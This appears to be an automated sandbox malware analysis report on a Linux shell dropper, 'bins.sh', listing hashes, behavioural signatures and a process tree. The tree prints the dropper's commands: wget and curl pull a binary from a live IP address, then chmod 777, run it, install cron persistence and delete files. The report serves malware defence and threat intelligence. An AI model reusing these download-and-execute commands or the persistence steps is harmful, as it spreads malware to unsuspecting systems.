Analysis
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max time kernel
149s -
max time network
149s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
10-11-2024 00:47
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240418-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
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Target
bins.sh
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Size
10KB
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MD5
626b2399c8072b30ebfe63d2d23c416e
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SHA1
7a5dca06f864826e8a1ad21ffac1f9edb045bb3f
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SHA256
1579d7ea20d6243a2c8c7b6caa4e35fd28dc71e627adb276834dce8e5e012f9a
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SHA512
6f43dc9a7d2c30a0447f51d3a2fd0c90d818532d7c8ea49842fd66c6a1a15149e5d403cd8182369162925362d2d2d6d5c08fb5e95d9ee28c3ee4b237c4a35825
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SSDEEP
192:DnbMZhr1cEeNuN1i3L75f/szfL6dhQgN1i3L5f/szfYxnbMZhzLcEZ:DnbMZhroXA67gnbMZhz3
Malware Config
Signatures
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Contacts a large (2207) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodpid process 1523 chmod -
Executes dropped EXE 1 IoCs
Processes:
wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681ioc pid process /tmp/wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 1524 wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 -
Renames itself 1 IoCs
Processes:
wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681pid process 1525 wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc process File opened for modification /var/spool/cron/crontabs/tmp.ARbVnF crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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Processes:
wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681description ioc process File opened for reading /proc/1590/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1591/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1618/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1577/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1602/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/85/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/176/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1176/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1299/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1566/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1589/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1649/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1654/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/36/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/321/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1131/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1515/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1659/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1570/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1596/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1606/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1682/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/23/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/414/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1159/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1565/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/552/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1022/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1620/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1698/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/7/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/19/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/28/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/487/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/955/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1558/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1578/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1639/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1017/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1070/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1650/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1609/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1729/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/3/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/82/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/412/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1586/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/22/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/480/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1664/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1730/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/327/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1530/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1581/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1707/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/80/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1248/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1289/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1551/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1544/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1564/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1595/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/1630/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 File opened for reading /proc/24/cmdline wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 -
Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
Processes:
wgetcurlbusyboxdescription ioc process File opened for modification /tmp/wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 wget File opened for modification /tmp/wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 curl File opened for modification /tmp/wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681 busybox
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:1515
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/bin/rm/bin/rm bins.sh2⤵PID:1516
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/usr/bin/wgetwget http://87.120.84.230/bins/wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh6812⤵
- Writes file to tmp directory
PID:1517 -
/usr/bin/curlcurl -O http://87.120.84.230/bins/wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh6812⤵
- Writes file to tmp directory
PID:1521 -
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh6812⤵
- Writes file to tmp directory
PID:1522 -
/bin/chmodchmod 777 wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh6812⤵
- File and Directory Permissions Modification
PID:1523 -
/tmp/wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681./wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh6812⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1524 -
/bin/shsh -c "crontab -l"3⤵PID:1526
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/usr/bin/crontabcrontab -l4⤵PID:1527
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/bin/shsh -c "crontab -"3⤵PID:1528
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1529 -
/bin/rmrm wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh6812⤵PID:1531
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/usr/bin/wgetwget http://87.120.84.230/bins/KvH3UoksRRYPVQBB5h446C1JLpGoKMsui62⤵PID:1534
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
99KB
MD59438d9bc392bcf300a5583b6df5bc8f6
SHA1375a6ae34b516f6f3eeea8030c4084f585017efa
SHA25668e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
SHA5121f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
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Filesize
210B
MD595ebe51f59b5aa859a65a8696ffe8585
SHA1c42fadd4ac3b69710a0ee5490203f7a52d87c3b4
SHA2566d855aef3b07147c46def5a89ff27430d547fcac4a4f41c4a88074c1ba9e8d48
SHA512ae89e9e9fd67f8b74142c8b3fff6c2a9d75ca272e742cfe94ed27acbaa84aec7288aa6b124e8755d96fa3aeabc4dad7f10e6d07929e4c209840bb42b330cd73c